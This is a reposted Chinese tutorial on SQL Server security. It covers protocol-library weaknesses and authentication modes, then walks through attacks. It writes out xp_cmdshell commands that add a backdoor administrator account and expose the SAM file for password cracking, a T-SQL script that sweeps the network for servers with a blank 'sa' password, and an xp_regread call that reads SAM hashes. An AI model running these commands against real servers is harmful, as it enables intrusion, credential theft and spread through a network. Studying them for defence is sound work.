萬盛學電腦網

 萬盛學電腦網 >> 數據庫 >> sql server教程 >> 關於SQL SERVER的一些安全問題

關於SQL SERVER的一些安全問題

關於sql server的一些安全問題

BY XUNDI<安全焦點>
[email protected]
www.xfocus.org

目前關於NT服務器的入侵,有很多種方法,如對IIS的漏洞進行利用,但
大家不知道注意到沒有,其實通過與NT服務器相關聯的SQL數據庫服務器
的例子也是很有比例的一種手段。大家可以參看下面的一個新聞報道:
http://www.vnunet.com/News/1110938。
Herbless入侵破壞的一些站點,如legoland.co.uk站點就是通過SQL服務器
的入侵而獲得對系統的控制權而破壞的。所以對SQL服務器的保護是必不可
少的,這裡我整理了一些漏洞供大家來參考,見笑,見笑。

----------------------------------------------------------------
我們先來看看SQL服務程序支持的網絡協議庫:

----------------------------------------------------------------
| SQL Server Network Protocol Libraries |
----------------------------------------------------------------
|Protocol library| 可能存在的漏洞 | 是否加密 |
----------------------------------------------------------------
|Named pipes | --使用NT SMB端口(TCP139,UDP137, | 否 |
|(有名管道) | 138)來進行通信,這些可以被通 | |
| | 的防火牆控制,但如果內部網絡可| |
| | 隨意訪問的話也是一個不小的缺陷| |
| | --用戶名字,密碼和數據沒有進行加| |
| | 傳輸,任何人可以通過SNIFFER來 | |
| | 進行數據捕獲。 | |
----------------------------------------------------------------
|IP Sockets | --默認狀態下開1433口,你可以使用| 否 |
| | 掃描器來查看這個端口。 | |
| | 可以被SNIFFER截獲數據。 | |
----------------------------------------------------------------
|Multi-Protocol | --客戶端需要支持NT RPCs;在不同 | 是 |
| | 種類的環境中可能引起問題。 | |
| | --默認情況下使用TCP隨機端口,但| |
| | 防火牆進行端口圖固定實現(參 | |
| | 看KB Q164667)。 | |
| | --需要注意加密選項是否選擇,默 | |
| | 是不選擇此選項的。 | |
----------------------------------------------------------------
|NWLink | --存在被SNIFFER截獲數據的危險 | 否 |
----------------------------------------------------------------
|AppleTalk (ADSP)| --存在被SNIFFER截獲數據的危險 | 否 |
----------------------------------------------------------------
|Banyan Vines | --存在被SNIFFER截獲數據的危險 | 否 |
----------------------------------------------------------------

一般的推薦使用是:如果你能在Integrated (NT) Security上使用Named Pipes 或者
Multi-protocol,那你就使用這些協議庫,如果可能,盡量使用Multi-protocol
和使能加密選項。如果你上面幾個不能使用,那就使用IP Sockets協議,並改變
其默認的端口並隨時檢查系統保證無任何SNIFFER存在。並且,考慮使用一WEB服
務或者COM組件作為應用程序的business object layer,並在中間層和SQL服務程
序中使用安全通道(secure channel)。有不少第三方的產品可以加密這方面的通信。

-----------------------------------------------------------------------

[1] [2] [3] 下一頁  

下面再講一下SQL SERVER的各種安全模式和它們怎樣進行工作?

安全模式定義了一些SQL SERVER是怎樣認證要使用它們服務的用戶,請看下面
SQL Server 6.5的安全模式和在SQL Server 7.0做了改變的一些描述和區別:

-------------------------------------------------------------------
|安全模式 | SQL Server 6.5 | SQL Server 7.0改變地方 |
-------------------------------------------------------------------
|Standard | --登陸定義在SQL SERVER裡| --單獨的標准模式在SQL SERVER|
|標准模式 | 而且給定密碼。 | 沒有使用了。 |
| | --SQL SERVER的登錄帳戶與| |
| | WINDOW NT分開 | |
-------------------------------------------------------------------
|Integrated |-使用安全管理器SQL的帳 | --在這裡成為"Windows NT only"|
|綜合模式 | 戶。 | 模式。 |
| |-用戶在連接到SQL SERVER| --只工作在NT系統下,在WIN9X不|
| | 不需要特定分開LOGIN和 | 支持。 |
| | 密碼。 | |
| |-密碼從不存儲在應用程序| --可以直接結合到NT的組中便於 |
| | 中,並不以明文在網絡中| 管理,(注意有一BUILTIN組在|
| | 傳輸。 | 本地系統上產生). |
| |-SQL SERVER可以使用NT的| |
| | 的認證方式來認證用戶並| |
| | 可以使用如帳戶過期等。| |
| |-需要Named Pipe或Multi-| |
| | Protocol庫。 | |
--------------------------------------------------------------------
|Mixed |-提供上面的方式的一些特| --成為SQL SERVER和WINDOWS NT |
|混合性方式 | 征但有後退的東西是客戶| 模式。 |
| | 端不能建立可信任連接。| --盡量使用WINDOW NT ONLY模式 | |
--------------------------------------------------------------------

登錄只不過是第一步,一旦用戶登錄,用戶必須訪問獨立的數據庫,要使上面
的成立,就必須在sysusers表裡存在一表目給用戶用的每個數據庫。所以安全
請你注意在你的數據庫中是否存在"guest"帳戶和保證不會在你不注意的時候給
某些人訪問你的數據庫。

詳細的大家可以參看微軟的站點:

http://www.microsoft.com/technet/SQL/Technote/secure.ASP


---------------------------------------------------------------------

關於SQL SERVER存在的一些安全問題:

存在"sa"帳戶,密碼就為空,而且這個密碼是SQL SERVER安全模塊成員,我們就
可以通過xp_cmdshell stored procedure(擴展存儲過程)來進行命
令操作,如:

Xp_cmdshell "net user testuser UgotHacked /ADD"
然後在:
Xp_cmdshell "net localgroup Administrators testuser /ADD"

這樣攻擊者就成功的在SQL SERVER上增加了一個用戶。

當然遠程的話,一般需要有1433口開著,通過MySQL 客戶端進行連接。

當然你也可以使用:

Xp_cmdshell "rdisk /s-"

的方法,這樣就在\winnt\repair目錄裡重建了信息而不提示用戶。然後
在SAM備份以後,攻擊者可以建立一個SMB連接到共享或者建立一個連接:

Xp_cmdshell "net share getsam=c:\winnt\repair"

利用共享獲得這個文件,然後在使用l0phtcrack來跑吧。如果SMB端口被防火牆
控制了,或者關閉了,攻擊者也可以拷貝sam._文件到WEB目錄進行匿名浏覽器
下載。如果人家沒有開IIS,你何不用tftp呢:).

OK,通過這台被控制的SQL SERVER服務器,攻擊者可以通過它來查找網絡內部
其他機器來擴大戰果,下面是一個SQL腳本來列舉網絡中其他SQL SERVER存在
空帳戶'sa'的示例:

-----------------------------------------------------------------------

-- Create temp table to store enumerated servers

SET NOCOUNT ON

CREATE TABLE #temp (shelldump varchar(255))

INSERT #temp EXEC xp_cmdshell 'osql -L'

DECLARE @current_server varchar(255), @conn_string varchar(255)

DECLARE sql_cursor CURSOR FOR SELECT * FROM #temp

OPEN sql_cursor FETCH NEXT FROM sql_cursor INTO @current_server

-- Loop through potential targets and check for null sa accounts

-- If target is vulnerable, version information will be displayed

WHILE @@FETCH_STATUS = 0

BEGIN

If @current_server <> 'Servers:'

BEGIN

SELECT @current_server = rtrim(ltrim(@current_server))

SELECT @conn_string = 'exec xp_cmdshell ''osql -S' + @current_server + ' -Usa -P -Q "select @@version"'''

PRINT 'Attempting connection to server: ' + @current_server

EXECUTE (@conn_string)

PRINT '====================================================================='

END

FETCH NEXT FROM sql_cursor INTO @current_server

END

--Clean up

CLOSE sql_cursor

DEALLOCATE sql_cursor

DROP TABLE #TEMP

----------------------------------------------------------------------

當然有些人也可能關閉xp_cmdshell extended stored procedure(擴展存儲過程),
我們也可以使用下面的方法:

xp_regread 'HKEY_LOCAL_MacHINE', 'SECURITY\SAM\Domains\Account', 'F'

如果MSSqlserver 服務在本地系統帳戶下運行,並且如果系統上沒有安裝syskey,上面
的調用就可以返回注冊表中加密的密碼或者SID。

--------------------------------------------------------------------------

上一頁  [1] [2] [3] 下一頁  



另一個漏洞,是關於adhoc heterogenous queries 來進行權利的提升,請看下面微軟
的描述:htt
copyright © 萬盛學電腦網 all rights reserved